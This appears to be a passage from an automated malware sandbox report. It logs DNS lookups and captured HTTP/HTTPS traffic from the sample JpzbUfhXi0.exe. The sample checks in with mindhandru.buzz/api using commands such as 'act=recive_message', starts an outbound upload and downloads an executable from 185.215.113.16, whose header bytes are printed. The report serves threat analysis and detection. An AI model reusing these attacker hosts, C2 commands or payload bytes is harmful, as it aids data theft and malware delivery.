Dec 27, 2024 15:09:36.678404093 CET	1.1.1.1	192.168.2.5	0x8f29	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:09:36.678404093 CET	1.1.1.1	192.168.2.5	0x8f29	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:09:36.678404093 CET	1.1.1.1	192.168.2.5	0x8f29	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:09:43.570816040 CET	1.1.1.1	192.168.2.5	0x1ae	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:09:43.665113926 CET	1.1.1.1	192.168.2.5	0xfa50	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49718	185.215.113.16	80	2124	C:\Users\user\Desktop\JpzbUfhXi0.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:09:13.949419022 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 15:09:15.281089067 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:09:14 GMT Content-Type: application/octet-stream Content-Length: 2787840 Last-Modified: Fri, 27 Dec 2024 14:04:53 GMT Connection: keep-alive ETag: "676eb405-2a8a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 98 d0 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui`D @ @ @.rsrcD``@.idata f@eopvusey)h@xpjnotyw b@.taggant@"h@
Dec 27, 2024 15:09:15.281115055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:09:15.281121016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:09:15.281127930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:09:15.281177998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:09:15.281183958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:09:15.281189919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:09:15.281333923 CET	1236	IN	Data Raw: d7 e7 16 48 e3 1d c8 77 13 1c ee 57 cb ed ed 57 e5 e7 e9 57 e3 1d c8 4d cb 03 ee 57 e1 fd f3 57 e3 e8 fd 4a e3 22 ee 57 e3 18 ee 57 d0 e7 18 48 e3 01 20 5c e3 1f 14 42 ea ed 11 63 a6 1c 16 d2 ed 06 31 50 e3 1f 14 3a c2 1f ee 47 cb 16 ee 57 e5 eb Data Ascii: HwWWWMWWJ"WWH \Bc1P:GW@WWHWaWoM$HKmED!-HoMWJ?WWH \Bc1P:GW@WWHWaW@WWOW
Dec 27, 2024 15:09:15.281344891 CET	1236	IN	Data Raw: eb 1d ee 73 e1 bd 16 4e e3 8e e8 a5 e8 1d ee c5 ea a5 15 4e e3 22 e8 a5 e8 1d ee 81 ea a5 15 4e e3 4a 17 ba ea 01 ee cd ea 73 16 4e e3 ed 14 42 e3 1d ee bc e8 a5 15 4e e3 3e e9 a5 e8 1d ee a3 e5 a5 15 4e e3 6a 16 a6 e8 1d ee 0f e7 f6 15 4e e3 23 Data Ascii: sNN"NJsNBN>NjN#iM1B7MWWHWaYHgFBHWJWdH>NJ([WW>ZJ([WW>iJ
Dec 27, 2024 15:09:15.281352043 CET	1236	IN	Data Raw: e3 36 ee ee e9 ef ed c8 e0 7c 16 4e e3 96 ed ee e9 11 ee 80 e0 7c 16 4e e3 86 ed ee e9 1d ee e0 e0 7c 16 49 e3 d6 ed 78 e8 e6 ed 90 e0 e0 14 64 e3 be ed 7d e8 c9 ed f8 e0 e3 13 09 e3 4e ed db e5 5c ee a0 e0 e0 14 03 e3 4e ed 43 e4 2e ee b8 e0 ae Data Ascii: 6\|N\|N\|Ixd}N\NC.7vB#$vK2\\|NO@gh@_@k\|@ck@y@@Ch@/@Wp@?
Dec 27, 2024 15:09:15.401119947 CET	1236	IN	Data Raw: ac 44 2a 01 a1 56 41 0a ae 44 5a 17 a2 44 50 0e a8 5c ee 1a a4 29 58 01 a2 42 41 19 94 42 5c 11 9e 58 51 06 a1 46 29 48 92 58 41 05 a0 45 2f 0f a4 29 41 04 ae 58 55 48 92 42 5c 1e a8 58 2b 17 a4 29 5c 07 8d 54 2d 1a a8 53 57 0b a0 4b ee 1a a4 29 Data Ascii: DVADZDP\)XBAB\XQF)HXAE/)AXUHB\X+)\T-SWK)XBA)QEQ^RHB\X+(+C+E+XQ)Q(+F-XQ)Q(VCQ]-WT]/)XBA)PT-+(+F-]WT]S+C\B\HB\X+X-()XBAKA

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.11.101	443	2124	C:\Users\user\Desktop\JpzbUfhXi0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:08:52 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 14:08:52 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 14:08:52 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:08:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=knedvu9ve7rvsomh6ckchoot61; expires=Tue, 22 Apr 2025 07:55:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6a0TfuMSJI1VLpDqU0r%2BmGZIhXNmeq0SH54NcpX0bAo%2BOV2s0lUHWo0kpk7rLF0dFBXVEbBVdLGa5OELzuLthDbtUOYLn%2BX6o9DtA4Pc1R8esPzUenpY5n7VJBAqKDGzYPE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e2971ac441ba-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1729&min_rtt=1722&rtt_var=661&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1637689&cwnd=192&unsent_bytes=0&cid=1eb81257e2ca7b77&ts=638&x=0"
2024-12-27 14:08:52 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 14:08:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.11.101	443	2124	C:\Users\user\Desktop\JpzbUfhXi0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:08:54 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: mindhandru.buzz
2024-12-27 14:08:54 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-27 14:08:55 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pi7prskb5j4uldjvfmln3lqo5v; expires=Tue, 22 Apr 2025 07:55:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gAItjtNSZXOYjjHoQEk85AwOjnNH3wxWoLj17C3neTKx8SNUULyW8qt1ML81tzPnWmUDvF1DrV92tEGd9%2FELhhCn37bBEfi%2Fv8mpZ%2FgcPy734ysizHBM8Dcr5xsor3noiwk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e2a4fce98cdc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1838&min_rtt=1808&rtt_var=739&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=952&delivery_rate=1422308&cwnd=250&unsent_bytes=0&cid=c96859e0170354ec&ts=1038&x=0"
2024-12-27 14:08:55 UTC	245	IN	Data Raw: 31 34 38 30 0d 0a 6b 70 48 4a 4b 75 50 62 61 70 78 70 32 44 59 32 77 6e 30 54 51 41 79 5a 51 47 6c 31 4f 66 51 51 35 30 42 59 68 57 78 2f 48 30 7a 70 73 37 38 49 32 65 39 47 76 68 71 39 46 41 79 32 44 32 59 6c 49 4c 73 68 44 56 63 44 6b 6e 47 4c 4d 7a 32 70 54 67 6c 79 62 71 6a 33 71 45 61 51 76 6b 61 2b 44 4b 41 55 44 4a 6b 47 4d 53 56 69 75 33 70 4c 45 46 4f 57 63 59 73 69 4f 65 34 44 44 33 4d 76 2b 76 32 75 51 6f 61 34 44 76 30 46 74 56 4e 54 70 78 78 35 4c 6d 58 30 4b 41 52 58 46 64 5a 31 6e 57 4a 69 70 79 45 61 61 79 33 66 38 4c 70 42 77 61 5a 47 35 30 75 39 57 42 54 34 58 33 49 6c 62 76 55 6d 44 52 35 52 6e 48 69 44 49 7a 7a 76 48 42 5a 35 4a 50 72 7a 72 55 4f 4d 73 52 72 77 44 37 4a 59 56 61 30 63 4d 57 77 75 2f 44 70 Data Ascii: 1480kpHJKuPbapxp2DY2wn0TQAyZQGl1OfQQ50BYhWx/H0zps78I2e9Gvhq9FAy2D2YlILshDVcDknGLMz2pTglybqj3qEaQvka+DKAUDJkGMSViu3pLEFOWcYsiOe4DD3Mv+v2uQoa4Dv0FtVNTpxx5LmX0KARXFdZ1nWJipyEaay3f8LpBwaZG50u9WBT4X3IlbvUmDR5RnHiDIzzvHBZ5JPrzrUOMsRrwD7JYVa0cMWwu/Dp
2024-12-27 14:08:55 UTC	1369	IN	Data Raw: 4c 54 78 76 46 51 49 59 7a 4b 2f 49 44 44 58 74 75 37 37 32 79 43 49 61 31 53 4b 5a 4c 73 6c 68 61 70 52 78 2b 4a 57 2f 37 4d 41 51 58 57 4a 35 36 67 53 67 31 36 41 45 54 64 79 6e 34 2b 71 78 48 68 72 45 4f 38 51 6a 36 47 68 53 6e 42 7a 46 36 4c 74 73 79 43 42 52 50 6d 32 50 46 50 58 54 2b 54 68 70 78 62 71 69 7a 72 55 61 41 74 41 6a 73 41 37 46 66 55 62 49 55 65 43 39 6a 2b 79 38 42 47 46 69 57 64 59 38 6f 4e 65 30 4b 45 48 41 6f 38 50 50 72 42 73 47 2b 45 4c 35 54 2b 6e 64 52 73 42 68 39 4e 43 7a 42 59 68 52 5a 51 74 5a 31 69 57 4a 69 70 77 59 59 66 69 33 37 2f 4b 68 41 69 71 73 49 37 41 32 33 55 55 61 6d 47 6e 38 6f 62 65 6b 6f 42 52 46 59 6e 33 6d 4d 4a 7a 33 6a 54 6c 4d 39 4b 65 69 7a 38 77 69 67 74 41 50 79 41 61 31 55 46 4c 39 52 61 47 4a 70 39 32 Data Ascii: LTxvFQIYzK/IDDXtu772yCIa1SKZLslhapRx+JW/7MAQXWJ56gSg16AETdyn4+qxHhrEO8Qj6GhSnBzF6LtsyCBRPm2PFPXT+ThpxbqizrUaAtAjsA7FfUbIUeC9j+y8BGFiWdY8oNe0KEHAo8PPrBsG+EL5T+ndRsBh9NCzBYhRZQtZ1iWJipwYYfi37/KhAiqsI7A23UUamGn8obekoBRFYn3mMJz3jTlM9Keiz8wigtAPyAa1UFL9RaGJp92
2024-12-27 14:08:55 UTC	1369	IN	Data Raw: 6d 33 37 46 62 48 72 67 46 6c 30 6c 62 74 72 77 76 30 75 4c 2b 7a 33 39 42 62 52 54 51 75 41 41 50 7a 73 75 2f 43 35 4c 54 78 75 62 63 34 30 6b 4b 4f 67 44 48 6e 4d 67 2f 2f 61 6b 51 49 47 35 42 66 73 50 73 56 39 58 72 52 74 6a 4b 47 37 7a 4a 77 6f 64 55 64 59 38 78 53 55 69 70 31 5a 64 54 44 6e 37 73 5a 35 4c 6a 37 63 50 36 45 75 6c 47 6b 33 67 47 48 31 69 4e 72 73 76 41 78 4a 65 6d 58 4f 50 4c 44 2f 74 41 68 56 7a 4c 65 4c 38 72 30 69 4e 73 51 4c 7a 42 62 35 63 58 61 73 55 64 79 4a 76 38 57 4a 46 56 31 79 4f 4d 74 31 69 44 75 41 43 45 48 4a 73 78 66 43 6c 52 6f 61 76 53 4f 46 46 6f 78 52 54 72 46 38 70 59 6d 4c 79 49 67 41 64 58 35 5a 31 69 43 63 35 34 41 30 51 65 69 54 2b 39 4b 39 45 69 4c 51 4f 2f 67 79 2b 55 55 61 6c 46 6e 30 75 4c 72 56 69 44 41 38 Data Ascii: m37FbHrgFl0lbtrwv0uL+z39BbRTQuAAPzsu/C5LTxubc40kKOgDHnMg//akQIG5BfsPsV9XrRtjKG7zJwodUdY8xSUip1ZdTDn7sZ5Lj7cP6EulGk3gGH1iNrsvAxJemXOPLD/tAhVzLeL8r0iNsQLzBb5cXasUdyJv8WJFV1yOMt1iDuACEHJsxfClRoavSOFFoxRTrF8pYmLyIgAdX5Z1iCc54A0QeiT+9K9EiLQO/gy+UUalFn0uLrViDA8
2024-12-27 14:08:55 UTC	1369	IN	Data Raw: 53 55 32 70 31 5a 64 64 43 66 69 2f 61 56 42 6a 4c 38 41 2b 51 57 33 58 31 4b 72 47 48 59 6b 59 2f 4d 76 44 68 52 61 6b 6e 69 58 49 54 48 74 41 78 63 39 59 4c 44 30 73 77 6a 5a 2b 53 2f 79 49 71 70 50 52 72 5a 66 62 6d 78 33 75 79 55 48 56 77 50 57 63 59 6f 72 4e 65 38 47 45 6e 49 71 2f 76 57 74 52 59 53 32 41 75 77 44 74 46 6c 66 72 78 52 6a 49 6d 50 2f 4c 67 38 66 55 4a 77 79 79 32 49 39 2f 30 35 46 50 52 76 39 2f 4b 74 4c 6c 2f 6b 58 73 42 4c 36 55 31 6a 67 52 7a 45 75 59 50 73 74 42 78 74 51 6e 6e 4f 4a 4c 44 33 69 42 78 56 31 50 50 48 33 6f 30 6d 50 74 67 6e 36 44 72 39 51 55 36 51 5a 66 6d 49 67 75 79 55 54 56 77 50 57 58 61 49 58 65 4d 59 30 58 57 4a 67 36 62 4f 73 52 4d 48 68 53 50 49 49 74 6c 78 62 70 68 5a 39 4b 47 66 77 4c 67 41 54 56 35 39 33 Data Ascii: SU2p1ZddCfi/aVBjL8A+QW3X1KrGHYkY/MvDhRakniXITHtAxc9YLD0swjZ+S/yIqpPRrZfbmx3uyUHVwPWcYorNe8GEnIq/vWtRYS2AuwDtFlfrxRjImP/Lg8fUJwyy2I9/05FPRv9/KtLl/kXsBL6U1jgRzEuYPstBxtQnnOJLD3iBxV1PPH3o0mPtgn6Dr9QU6QZfmIguyUTVwPWXaIXeMY0XWJg6bOsRMHhSPIItlxbphZ9KGfwLgATV593
2024-12-27 14:08:55 UTC	904	IN	Data Raw: 59 49 44 33 6f 6e 34 76 32 6d 52 34 6d 78 41 66 38 50 76 31 6c 53 72 42 56 77 4a 57 44 31 4b 6b 74 5a 47 35 46 71 78 58 70 36 78 68 34 47 62 7a 6a 39 30 71 5a 48 77 61 5a 47 35 30 75 39 57 42 54 34 58 33 67 77 61 76 59 77 41 68 42 56 6d 58 47 58 49 7a 66 73 48 42 70 79 4b 76 66 2f 72 55 65 48 75 41 33 30 42 37 31 52 58 36 38 54 4d 57 77 75 2f 44 70 4c 54 78 75 34 65 5a 59 31 4f 65 6b 46 43 32 5a 75 37 37 32 79 43 49 61 31 53 4b 5a 4c 75 56 39 66 70 42 39 39 49 6d 72 32 49 68 6b 59 58 4a 46 37 6a 6a 41 77 34 41 6b 57 64 53 58 2f 39 62 6c 45 6a 36 73 4e 37 42 6e 36 47 68 53 6e 42 7a 46 36 4c 73 30 6c 47 77 64 59 31 45 4f 54 49 53 7a 73 41 78 45 39 4d 62 37 71 36 30 2b 4e 2b 56 43 2b 44 62 56 64 56 36 38 65 65 43 35 6a 2f 69 73 4f 46 6c 32 53 65 49 38 69 50 Data Ascii: YID3on4v2mR4mxAf8Pv1lSrBVwJWD1KktZG5FqxXp6xh4Gbzj90qZHwaZG50u9WBT4X3gwavYwAhBVmXGXIzfsHBpyKvf/rUeHuA30B71RX68TMWwu/DpLTxu4eZY1OekFC2Zu772yCIa1SKZLuV9fpB99Imr2IhkYXJF7jjAw4AkWdSX/9blEj6sN7Bn6GhSnBzF6Ls0lGwdY1EOTISzsAxE9Mb7q60+N+VC+DbVdV68eeC5j/isOFl2SeI8iP
2024-12-27 14:08:55 UTC	1369	IN	Data Raw: 33 34 39 63 0d 0a 2b 50 4f 74 51 6f 57 36 41 66 30 4d 73 31 4a 66 6f 78 56 2b 4a 57 6a 2f 49 67 41 51 56 5a 42 33 6a 69 74 36 71 55 34 61 5a 57 36 6f 73 34 31 72 6b 36 73 36 38 41 69 68 46 45 76 75 42 6a 45 6c 59 72 74 36 53 78 78 54 6d 57 43 41 4b 7a 4c 6a 42 78 31 35 4a 50 33 30 71 30 32 4d 76 41 7a 77 44 37 31 55 57 4b 38 59 65 53 31 71 2b 79 31 4c 57 52 75 52 61 73 56 36 65 73 63 46 43 31 77 67 2b 2b 48 72 56 38 2b 67 53 50 6b 48 2b 67 77 55 72 68 5a 77 4b 6d 44 33 4b 67 38 46 57 35 31 37 69 69 4d 31 35 77 30 63 64 79 62 69 39 61 74 44 69 62 34 41 2b 67 57 6f 56 56 76 67 55 54 45 6c 64 72 74 36 53 79 5a 4e 6b 58 57 4b 59 42 50 67 46 52 78 33 4c 66 76 2f 36 31 66 50 6f 45 6a 35 42 2f 6f 4d 46 4b 30 54 66 43 5a 38 39 79 49 4c 48 6c 79 63 59 49 6f 74 4e Data Ascii: 349c+POtQoW6Af0Ms1JfoxV+JWj/IgAQVZB3jit6qU4aZW6os41rk6s68AihFEvuBjElYrt6SxxTmWCAKzLjBx15JP30q02MvAzwD71UWK8YeS1q+y1LWRuRasV6escFC1wg++HrV8+gSPkH+gwUrhZwKmD3Kg8FW517iiM15w0cdybi9atDib4A+gWoVVvgUTEldrt6SyZNkXWKYBPgFRx3Lfv/61fPoEj5B/oMFK0TfCZ89yILHlycYIotN
2024-12-27 14:08:55 UTC	1369	IN	Data Raw: 36 49 4f 4c 79 6f 55 53 41 76 67 2f 31 47 62 46 47 58 36 67 63 66 79 70 6e 2b 79 77 4c 46 6c 61 57 4d 73 74 69 50 66 39 4f 52 54 30 4c 30 2b 53 39 51 73 4f 61 48 2b 67 42 76 56 68 43 71 78 35 79 4e 47 50 72 59 6b 56 58 53 70 46 6a 78 58 6f 73 39 78 6b 61 59 6d 44 70 73 36 78 45 77 65 46 49 39 51 53 30 57 56 2b 6b 46 6e 51 71 62 66 34 6e 41 52 74 58 6c 33 71 4d 4b 44 2f 69 43 42 64 2b 49 50 2f 79 70 30 79 49 74 77 47 2b 52 66 70 54 54 4f 42 48 4d 52 52 2b 2f 44 6f 47 42 78 6d 6b 63 5a 51 7a 4c 2b 6f 65 47 7a 38 42 38 2f 2b 6f 54 59 61 70 53 4f 46 46 6f 78 52 54 72 46 38 70 59 6d 37 2f 4c 67 67 51 56 5a 6c 2f 69 69 55 78 36 41 51 54 62 79 48 31 2b 36 64 41 6a 4b 73 43 39 42 6d 7a 58 56 6d 75 46 32 4d 68 4c 72 56 69 44 41 38 62 7a 6a 4b 33 4b 44 6e 72 47 42 Data Ascii: 6IOLyoUSAvg/1GbFGX6gcfypn+ywLFlaWMstiPf9ORT0L0+S9QsOaH+gBvVhCqx5yNGPrYkVXSpFjxXos9xkaYmDps6xEweFI9QS0WV+kFnQqbf4nARtXl3qMKD/iCBd+IP/yp0yItwG+RfpTTOBHMRR+/DoGBxmkcZQzL+oeGz8B8/+oTYapSOFFoxRTrF8pYm7/LggQVZl/iiUx6AQTbyH1+6dAjKsC9BmzXVmuF2MhLrViDA8bzjK3KDnrGB
2024-12-27 14:08:55 UTC	1369	IN	Data Raw: 39 4a 56 32 6a 37 34 63 2b 51 57 38 56 42 54 75 58 33 35 69 4e 73 4a 69 51 31 64 6b 32 44 4b 64 59 6d 4b 6e 4f 78 35 7a 49 50 66 6c 75 67 57 69 72 68 37 30 45 50 68 79 55 37 45 57 5a 79 39 38 75 32 78 4c 45 52 76 4f 49 73 74 69 50 76 5a 4f 52 53 31 38 71 36 62 34 48 39 48 72 46 37 41 53 2b 6b 49 55 2b 45 30 2f 59 6e 79 37 65 6b 74 51 57 49 52 67 67 79 45 73 35 45 6b 6a 51 77 37 37 35 61 70 46 69 72 55 32 77 42 36 35 57 6c 71 6e 43 57 42 69 49 4c 73 74 53 30 39 69 31 6a 72 46 48 58 53 6e 46 6c 30 6c 62 73 58 77 70 55 61 47 72 78 6d 7a 4b 37 46 43 56 61 30 55 66 57 42 76 39 6a 49 4d 56 78 58 57 64 4d 56 36 61 71 6c 4f 47 57 78 75 71 4b 50 35 45 39 54 71 58 36 35 5a 70 52 70 4e 34 41 6b 78 65 6a 79 31 59 68 6c 58 41 39 59 31 68 6a 41 6f 34 51 30 4c 66 6d 6e Data Ascii: 9JV2j74c+QW8VBTuX35iNsJiQ1dk2DKdYmKnOx5zIPflugWirh70EPhyU7EWZy98u2xLERvOIstiPvZORS18q6b4H9HrF7AS+kIU+E0/Yny7ektQWIRggyEs5EkjQw775apFirU2wB65WlqnCWBiILstS09i1jrFHXSnFl0lbsXwpUaGrxmzK7FCVa0UfWBv9jIMVxXWdMV6aqlOGWxuqKP5E9TqX65ZpRpN4Akxejy1YhlXA9Y1hjAo4Q0Lfmn
2024-12-27 14:08:55 UTC	1369	IN	Data Raw: 49 66 35 55 4b 78 46 2b 6c 42 46 34 45 63 68 63 44 57 75 63 56 78 48 43 59 6b 38 6e 47 49 73 70 31 5a 50 4d 32 37 69 73 2f 4d 49 78 72 6f 61 37 41 32 35 51 6c 66 6e 49 55 38 45 62 66 77 6b 43 42 6c 4d 68 7a 43 71 49 54 48 72 41 68 70 72 45 4d 37 6d 71 45 61 50 76 68 37 76 53 2f 51 55 57 2b 42 48 53 47 4a 2f 38 53 56 48 58 78 65 48 59 59 73 70 4c 4f 42 4f 49 6a 4e 75 36 4c 50 7a 43 4c 53 36 42 76 41 4d 72 45 55 5a 68 68 78 32 4a 47 33 31 4e 52 70 58 46 64 5a 30 78 58 70 6f 71 55 34 5a 62 47 36 6f 6f 2f 6b 54 31 4f 70 66 72 6c 6d 6c 47 6b 33 67 43 54 46 36 50 62 56 69 47 56 63 44 31 6a 57 4c 4c 7a 76 6b 41 42 35 76 50 50 62 77 76 55 76 47 68 7a 62 62 42 72 64 52 57 71 63 68 54 77 4e 6b 36 79 38 45 45 47 57 6f 52 5a 51 6c 4b 71 55 6f 48 6d 73 74 73 4c 33 72 Data Ascii: If5UKxF+lBF4EchcDWucVxHCYk8nGIsp1ZPM27is/MIxroa7A25QlfnIU8EbfwkCBlMhzCqITHrAhprEM7mqEaPvh7vS/QUW+BHSGJ/8SVHXxeHYYspLOBOIjNu6LPzCLS6BvAMrEUZhhx2JG31NRpXFdZ0xXpoqU4ZbG6oo/kT1OpfrlmlGk3gCTF6PbViGVcD1jWLLzvkAB5vPPbwvUvGhzbbBrdRWqchTwNk6y8EEGWoRZQlKqUoHmstsL3r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.11.101	443	2124	C:\Users\user\Desktop\JpzbUfhXi0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:08:56 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IIEPI9ZUG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12787 Host: mindhandru.buzz
